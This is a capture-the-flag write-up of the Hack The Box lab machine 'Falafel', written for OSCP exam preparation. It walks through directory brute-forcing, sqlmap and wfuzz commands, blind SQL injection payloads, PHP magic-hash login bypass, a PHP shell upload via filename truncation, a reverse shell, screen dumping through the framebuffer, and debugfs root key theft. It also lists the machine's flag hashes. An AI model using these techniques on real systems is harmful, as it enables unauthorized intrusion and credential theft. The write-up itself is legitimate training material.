Linux Boxes

falafel

  1. nmap
  2. http
    1. gobuster
      1. /login.php
        1. sqlmap
        2. wfuzz
          1. wfuzz -hw 657
        3. crackstation
        4. manual sql injection (blind boolean)
          1. username=admin'
          2. exploit.py
        5. chris login
    2. php variable juggling
      1. google php 0e hash collision
      2. admin login
    3. upload.php
      1. test.png
      2. send php rev shell with magic bytes
      3. linux filename character limit
        1. cmd execution
        2. reverse shell
  3. privesc to moshe
    1. connection.php
    2. priv esc with leaked creds
  4. priv esc to yossi
    1. fb0
    2. pnmtopng
      1. raw2png
    3. ssh into yossi
  5. priv esc to root
    1. debugfs
      1. /root
      2. .ssh
    2. ssh into root
  6. user/root
  7. lessons learned

falafel

images/1788-1.png
images/1788-2.png

nmap

images/1804-1.png
nmap shows standard ports
22 running OpenSSH 7.2p2
and
80 running Apache 2.4.18

http

images/1806-1.png
images/1806-2.png

gobuster

we'll use gobuster next to see what type of directories are on the webserver
gobuster dir -u 10.10.10.73 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
images/1807-1.png

images/1807-2.png

/login.php

images/1808-1.png

sqlmap

images/1809-1.png
sqlmap --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101" -r request.txt --level=5 =p username -risk=3 --string="Wrong identification"

images/1809-2.png

wfuzz

wfuzz -c -z file,names.txt --sc 200 -d "username=FUZZ&password=test" http://10.10.10.73/login.php

we get false positives for active usernames because our wfuzz query returns all server responses with a status code of 200 (which every attempt gets regardless of whether or not the user exists)
images/1812-1.png

wfuzz -hw 657

setting the status code to 200 does not affect wfuzz's results, we can hide the server response words that are different than 657 with -hw 657 so we get responses of users that exist

wfuzz -c -z file,names.txt --hw 657 -d "username=FUZZ&password=test" http://10.10.10.73/login.php
images/1814-1.png

we see our users are admin and chris! (their word count is 659)

crackstation

images/1810-1.png

manual sql injection (blind boolean)

Since sqlmap is not allowed on the OSCP exam it is important to have an understanding exactly how the login webpage was vulnerable to an sql injection

burp suite will help us here

capturing a login POST request and sending it to responder
we see
images/1811-1.png

notice that when typing in a valid user into the login form gets a different server response than an inexistant user:

images/1811-2.pngimages/1811-3.png

note that the server response byte size is different when a user is valid as well:

images/1811-4.png images/1811-5.png

images/1811-6.png images/1811-7.png

so 7393 bytes is a successful sql query and 7376 is unsuccessful



username=admin'

standard sql query looks like

select * from users where username = ‘admin’ and password = ‘admin’

however by injecting an extra single quote trailing username=admin' creates and unequal amount of quotes and allows us to comment out the rest of the statement with “-- -” which turns our original sql query valid:

select * from users where username = ‘admin’' -- -

images/1815-1.png images/1815-2.png

* is a wildcard regularly, but it is not a wildcard in sql
admin' and password like ‘*’ -- -
images/1815-3.png is an invalid statement images/1815-4.png


% is a wildcard in SQL
admin' and password like ‘%’-- -

images/1815-5.png is valid! images/1815-6.png

we can use boolean logic to guess each character (0-9 and a-f) in each position (32 bit hash) to figure out admins password through brute forcing, here is an example of checking admin's first character in his password to see if it is True:

images/1815-7.pngimages/1815-8.png

and if it is false:
images/1815-9.pngimages/1815-10.png

exploit.py

we can write a script to run a nested for loop on characters 0-9A-F to check all 32 positions of the admin password hash to check for positive server responses (length 7393) and have our program print the string out


images/1813-1.png

images/1813-2.png

chris login

images/1816-1.png

php variable juggling

as chris' password hints at, the next step to look for is the fact that php is loosely typed, so it does not require you to declare a variable type when declaring a variable

php variable juggling

the admin password starts with the string “0e”
images/1817-1.png

google php 0e hash collision

images/1818-1.png

images/1818-2.png

because php treats any string that begins with 0e as a floating integer exponential equation (0e -> 10^x) we can look up md5 hashes that collide/also start with 0e

any of these 3 passwords will work for admin's login

240610708
QNKCDZO
aabg7XSs

admin login

images/1819-1.png

images/1819-2.png

upload.php

images/1820-1.png


images/1820-2.png

test.png

images/1821-1.png

images/1821-2.png

images/1821-3.png+

its a bit hard to see but the cmd shows:
CMD: cd /var/www/html/uploads/0826-0440_d2913bf469e45e66; wget 'http://10.10.14.62/test.png'

images/1821-4.png

send php rev shell with magic bytes

lets try sending a cmd.php script that will run system command to the back end and give it magic bytes so the upload feature thinks its a picture:

images/1822-1.png

images/1822-2.png

images/1822-3.png


images/1822-4.png

however, navigating to the destination gives us an error
images/1822-5.png


images/1822-6.png

linux filename character limit

as admin's profile quote says, “know your limits", this is a subtle hint to which we need to abuse the character limit of the webserver's upload function images/1823-1.png to upload a picture as a png file 3 characters too large for the server to accept, so when the server trims the filename down, it will cut off the .png file extension off of our malicious php file, which we will account to end with .php

in short our malcious php code file will look like this: “A”*234.php.png

images/1823-2.png

images/1823-3.png


images/1823-4.png
images/1823-5.png+
images/1823-6.png

images/1823-7.png


cmd execution

images/1824-1.png

images/1824-2.png

images/1824-3.png

images/1824-4.png

images/1824-5.png

reverse shell

now that we have remote code execution, time to put it to use calling a shell back to our attack machine pen test monkey:
images/1825-1.png

we'll set the reverse shell to our cmd parameter and URL encode it with CTRL-U
images/1825-2.png

after URL-encoding it:
images/1825-3.png


images/1825-4.png

privesc to moshe

looking at our webserver directory /var/www/html:
images/1826-1.png

connection.php

images/1827-1.png

falafelIsReallyTasty

priv esc with leaked creds

ssh'ing into moshe with password falafelIsReallyTasty logs us in

images/1828-1.png

priv esc to yossi

from earlier we issued the ‘w’ command in www-data's terminal and saw yossi was physically connected to the box (tty1)
images/1830-1.png


images/1830-2.png
being a part of the video group signifies the user is about to read the monitor output
we may be able to look at yossi's monitor screen

fb0

we can dump yossi's monitor with fb0 in the /dev directory

images/1831-1.png

funning file on fb.raw we see that it is a Targa image
images/1831-2.png

pnmtopng

in order to dump yoshi's monitor and view it, there's a few things we need to do first

1) download pnmtopng
images/1833-1.png
2) Grab the width and the height of the monitor we need to dump, the variables are located in the /sys/class/graphics/fb0/virtual_size fileimages/1833-2.png
3) download the following script and save it to raw2png:
images/1833-3.png
4) run the script to convert fb0.raw to a png imageimages/1833-4.png


raw2png

images/1832-1.png

images/1832-2.png

we see we've dumped yossi's monitor screen as he is changing his password to MoshePlzStopHackingMe!

images/1832-3.png

ssh into yossi

yossi:MoshePlzStopHackingMe!
images/1834-1.png

priv esc to root

we see we are part of the disk group

images/1835-1.png
images/1835-2.png

images/1835-3.png

debugfs

images/1836-1.png

images/1836-2.png

images/1836-3.png

/root

images/1837-1.png

.ssh

images/1838-1.png

images/1838-2.png

copy the key and save it into id_rsa key file and give it proper permissions



images/1838-3.png

ssh into root

images/1839-1.png

user/root

images/1829-1.png
c866575ed5999e1a878b1494fcb1f9d3

images/1829-2.png

23b79200448c62ffd6f8f2091c001fa1

lessons learned

Check out Rana Khalil's OSCP writeups and prep at https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/

images/1985-1.png